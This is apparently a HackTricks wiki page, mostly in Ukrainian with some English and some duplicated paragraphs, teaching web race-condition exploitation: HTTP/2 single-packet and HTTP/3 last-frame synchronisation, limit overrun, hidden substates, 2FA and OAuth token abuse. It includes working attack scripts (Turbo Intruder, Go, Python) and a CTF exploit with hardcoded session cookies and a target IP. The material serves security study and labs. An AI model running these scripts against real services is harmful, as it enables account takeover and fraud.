Race Condition

Reading time: 18 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

warning

Для глибокого розуміння цієї техніки перегляньте оригінальний звіт у https://portswigger.net/research/smashing-the-state-machine

Покращення атак Race Condition

Головна перешкода в експлуатації race conditions — забезпечити обробку кількох запитів одночасно, з дуже малою різницею в часі їхньої обробки — ідеально менше 1ms.

Нижче наведено кілька технік для синхронізації запитів:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Підтримує надсилання двох запитів по одному TCP-з'єднанню, що зменшує вплив мерехтіння мережі. Однак через варіації на стороні сервера двох запитів може бути недостатньо для стабільної експлуатації race condition.
  • HTTP/1.1 'Last-Byte Sync': Дозволяє попередньо відправити більшість частин 20–30 запитів, утримуючи невеликий фрагмент, який потім відправляється разом, досягаючи одночасного надходження на сервер.

Підготовка до Last-Byte Sync включає:

  1. Відправити headers і body-дані, за винятком останнього байта, не завершуючи stream.
  2. Пауза 100ms після початкової відправки.
  3. Вимкнути TCP_NODELAY, щоб скористатися Nagle's algorithm для батчингу фінальних фреймів.
  4. Виконати ping, щоб прогріти з'єднання.

Наступна відправка утриманих фреймів має призвести до їхнього надходження в одному пакеті, що можна перевірити через Wireshark. Цей метод не застосовується до static files, які зазвичай не беруть участі в RC attacks.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Ідея: HTTP/3 працює поверх QUIC (UDP). Немає TCP coalescing або Nagle, на які можна покластись, тому класичний last‑byte sync не працює з готовими клієнтами. Замість цього потрібно навмисно склеїти кілька QUIC stream‑final DATA frames (FIN) в ту ж саму UDP-датаграму, щоб сервер обробив усі цільові запити в одному такті планувальника.
  • Як це зробити: Використати спеціалізовану бібліотеку, яка дає контроль над QUIC-фреймами. Наприклад, H3SpaceX маніпулює quic-go, щоб реалізувати HTTP/3 last‑frame synchronization як для запитів з тілом, так і для GET‑типу запитів без тіла.
  • Requests‑with‑body: відправити HEADERS + DATA без останнього байта для N потоків, потім одночасно скинути останній байт кожного stream.
  • GET‑style: сформувати фейкові DATA frames (або маленьке тіло з Content‑Length) і закрити всі stream в одній датаграмі.
  • Практичні обмеження:
  • Конкурентність обмежена параметром транспорту QUIC max_streams у піринга (подібно до HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Якщо він малий — відкривайте кілька H3-з'єднань і розподіляйте race між ними.
  • Розмір UDP-датаграми та path MTU обмежують, скільки stream‑final фреймів можна склеїти. Бібліотека обробляє розбиття на кілька датаграм при потребі, але одиночний flush в одній датаграмі найнадійніший.
  • Практика: Існують публічні H2/H3 race labs і приклади експлоітів, що супроводжують H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) мінімальний приклад
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Адаптація до архітектури сервера

Розуміння архітектури цілі має вирішальне значення. Фронтенд-сервери можуть маршрутизувати запити інакше, що впливає на час виконання. Попередній розігрів з'єднання на сервері шляхом неістотних запитів може нормалізувати час відповіді.

Обробка сесійного блокування

Фреймворки, як-от PHP's session handler, серіалізують запити по сесії, що може приховувати вразливості. Використання різних session tokens для кожного запиту може обійти цю проблему.

Подолання обмежень швидкості або ресурсів

Якщо розігрів з'єднання неефективний, навмисне викликання затримок через обмеження rate або ресурсів веб‑серверів шляхом потоку dummy запитів може сприяти single-packet attack, створюючи затримку на боці сервера, сприятливу для race conditions.

Приклади атак

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Ви можете відправити запит до Turbo Intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), змінити у запиті значення, яке хочете brute force для %s, наприклад csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s а потім вибрати examples/race-single-packer-attack.py з випадаючого списку:

Якщо ви збираєтеся відправляти різні значення, ви можете змінити код на цей, який використовує wordlist з буфера обміну:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Якщо веб не підтримує HTTP2 (лише HTTP1.1), використовуйте Engine.THREADED або Engine.BURP замість Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): На випадок, якщо потрібно відправити запит на 1 endpoint, а потім кілька на інші endpoints, щоб викликати RCE, ви можете змінити скрипт race-single-packet-attack.py приблизно так:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Це також доступно в Repeater через нову опцію 'Send group in parallel' у Burp Suite.
  • Для limit-overrun ви можете просто додати той самий запит 50 разів у групу.
  • Для connection warming ви можете додати на початку групи кілька запитів до якоїсь нестатичної частини веб-сервера.
  • Для delaying процесу між обробкою одного запиту та іншого у 2 substates steps, ви можете додати додаткові запити між обома запитами.
  • Для multi-endpoint RC ви можете почати відправляти запит, що переходить у прихований стан, а потім одразу після нього 50 запитів, що експлуатують прихований стан.
  • Automated python script: Мета цього скрипта — змінити email користувача, постійно перевіряючи його, доки токен верифікації нового email не надійде на останню пошту (це пов'язано з тим, що в коді спостерігався RC, де можна було змінити email, але верифікація відправлялася на старий, бо змінна, що вказує email, вже була заповнена першим).
    When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: engine and gating notes

  • Вибір Engine: використовуйте Engine.BURP2 для цілей на HTTP/2, щоб спровокувати single‑packet attack; у разі HTTP/1.1 для last‑byte sync переходьте на Engine.THREADED або Engine.BURP.
  • gate/openGate: поставте в чергу багато копій з gate='race1' (або індивідуальні gate на спробу), що утримують кінець кожного запиту; openGate('race1') скидає всі кінці разом, тож вони надходять майже одночасно.
  • Діагностика: негативні часові позначки в Turbo Intruder означають, що сервер відповів ще до повної відправки запиту, що доводить накладання. Це очікувана поведінка при реальних races.
  • Прогрів з'єднання: надішліть ping або кілька нешкідливих запитів спочатку, щоб стабілізувати таймінги; опціонально вимкніть TCP_NODELAY, щоб заохотити пакетування фінальних фреймів.

Improving Single Packet Attack

In the original research it's explained that this attack has a limit of 1,500 bytes. However, in this post, it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the 65,535 B window limitation of TCP by using IP layer fragmentation (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.

Зверніть увагу, що хоч це покращення робить атаку більш надійною при RC, які вимагають сотень/тисяч пакетів одночасного надходження, воно може мати й програмні обмеження. Деякі популярні HTTP-сервери, як-от Apache, Nginx та Go, мають суворе налаштування SETTINGS_MAX_CONCURRENT_STREAMS зі значеннями 100, 128 і 250 відповідно. Натомість інші, як NodeJS та nghttp2, мають його без обмежень.
Це фактично означає, що Apache розглядатиме лише 100 HTTP-потоків з одного TCP-з'єднання (що обмежує цю RC-атаку). Для HTTP/3 аналогічним лімітом є транспортний параметр QUIC max_streams — якщо він малий, розподіліть race між кількома QUIC-з'єднаннями.

Приклади використання цієї техніки можна знайти в репозиторії https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

До попереднього дослідження використовувалися деякі payload-варіанти, які просто намагалися відправляти пакети якомога швидше, щоб спричинити RC.

  • Repeater: Перевірте приклади з попереднього розділу.
  • Intruder: Надішліть request у Intruder, встановіть number of threads на 30 у Options menu, виберіть як payload Null payloads і згенеруйте 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.

Існує багато варіацій цього виду атаки, зокрема:

  • Використання подарункової картки кілька разів
  • Оцінювання продукту кілька разів
  • Зняття або переказ коштів понад баланс вашого рахунку
  • Повторне використання одного рішення CAPTCHA
  • Обхід anti-brute-force rate limit

Hidden substates

Експлуатація складних race conditions часто передбачає використання коротких можливостей для взаємодії з прихованими або unintended machine substates. Ось як до цього підходити:

  1. Identify Potential Hidden Substates
  • Почніть з визначення endpoints, які змінюють або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання пароля. Зосередьтесь на:
  • Storage: Віддавайте перевагу endpoint-ам, які маніпулюють серверними персистентними даними, замість тих, що обробляють дані на клієнті.
  • Action: Шукайте операції, що змінюють існуючі дані — вони частіше створюють умови, придатні для експлуатації, ніж ті, що додають нові дані.
  • Keying: Успішні атаки зазвичай включають операції, що використовують один і той самий ідентифікатор, наприклад username або reset token.
  1. Conduct Initial Probing
  • Тестуйте виявлені endpoints за допомогою race condition атак, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Несподівані відповіді або зміни в поведінці застосунку можуть сигналізувати про вразливість.
  1. Demonstrate the Vulnerability
  • Зведіть атаку до мінімальної кількості запитів, необхідних для експлуатації вразливості — часто це лише два. Цей крок може вимагати численних спроб або автоматизації через точність таймінгу.

Time Sensitive Attacks

Точність у часі запитів може викрити вразливості, особливо коли для security tokens використовуються передбачувані методи, як-от timestamps. Наприклад, генерація password reset tokens на основі timestamps може дозволити однакові токени для одночасних запитів.

To Exploit:

  • Використовуйте точний таймінг, наприклад single packet attack, щоб зробити одночасні password reset requests. Ідентичні tokens вказують на вразливість.

Example:

  • Запросіть два password reset tokens одночасно і порівняйте їх. Співпадіння токенів свідчить про помилку в генерації token.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Перегляньте цей PortSwigger Lab, щоб побачити, як pay у магазині і add an extra item, за який вам не потрібно буде платити.

Confirm other emails

The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.

Ідея полягає в тому, щоб одночасно verify an email address and change it to a different one, щоб дізнатися, чи платформа перевіряє новий змінений email.

According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.

Згідно з this research, Gitlab був вразливий до takeover таким чином, оскільки він міг send email verification token of one email to the other email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.

Якщо для додавання інформації в database використовуються 2 різні операції запису, існує короткий проміжок часу, коли всередині бази записані лише перші дані. Наприклад, при створенні користувача спочатку можуть бути written username і password, а потім записується the token для підтвердження нового облікового запису. Це означає, що протягом невеликого часу token to confirm an account is null.

Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.

Тому registering an account and sending several requests with an empty token (token= або token[]= чи будь-яка інша варіація) для негайного підтвердження облікового запису може дозволити confirm an account, електронну адресу в якому ви не контролюєте.

Check this PortSwigger Lab to try this.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 вічна персистентність

There are several OAUth providers. Ці сервіси дозволяють створити додаток і автентифікувати користувачів, яких зареєстрував провайдер. Для цього client має дозволити вашому додатку доступ до частини їхніх даних всередині OAUth provider.
Отже, поки що це просто звичний вхід через google/linkedin/github..., де вам показується сторінка з повідомленням: "Application wants to access you information, do you want to allow it?"

Race Condition in authorization_code

The problem appears when you accept it and automatically sends an authorization_code to the malicious application. Далі цей додаток зловживає Race Condition в OAUth service provider, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з authorization_code для вашого облікового запису. По суті, воно зловживає тим фактом, що ви надали додатку доступ до своїх даних, щоб створити кілька облікових записів. Потім, якщо ви припините дозволяти додатку доступ до своїх даних, одна пара AT/RT буде видалена, але інші залишаться дійсними.

Race Condition in Refresh Token

Отримавши дійсний RT, ви можете намагатися зловживати ним, щоб згенерувати кілька AT/RT, і навіть якщо користувач відкличе дозволи для шкідливого додатку на доступ до своїх даних, кілька RT все одно залишаться дійсними.

RC in WebSockets

  • In WS_RaceCondition_PoC ви знайдете PoC на Java для відправлення websocket-повідомлень паралельно, щоб зловживати Race Conditions також у Web Sockets.
  • With Burp’s WebSocket Turbo Intruder ви можете використовувати движок THREADED для створення кількох WS-з’єднань і відправки payloads паралельно. Почніть з офіційного прикладу і налаштуйте config() (кількість потоків) для досягнення конкурентності; це часто надійніше, ніж пакетна відправка через одне з’єднання при гонці стану на боці сервера між WS-обробниками. See RaceConditionExample.py.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks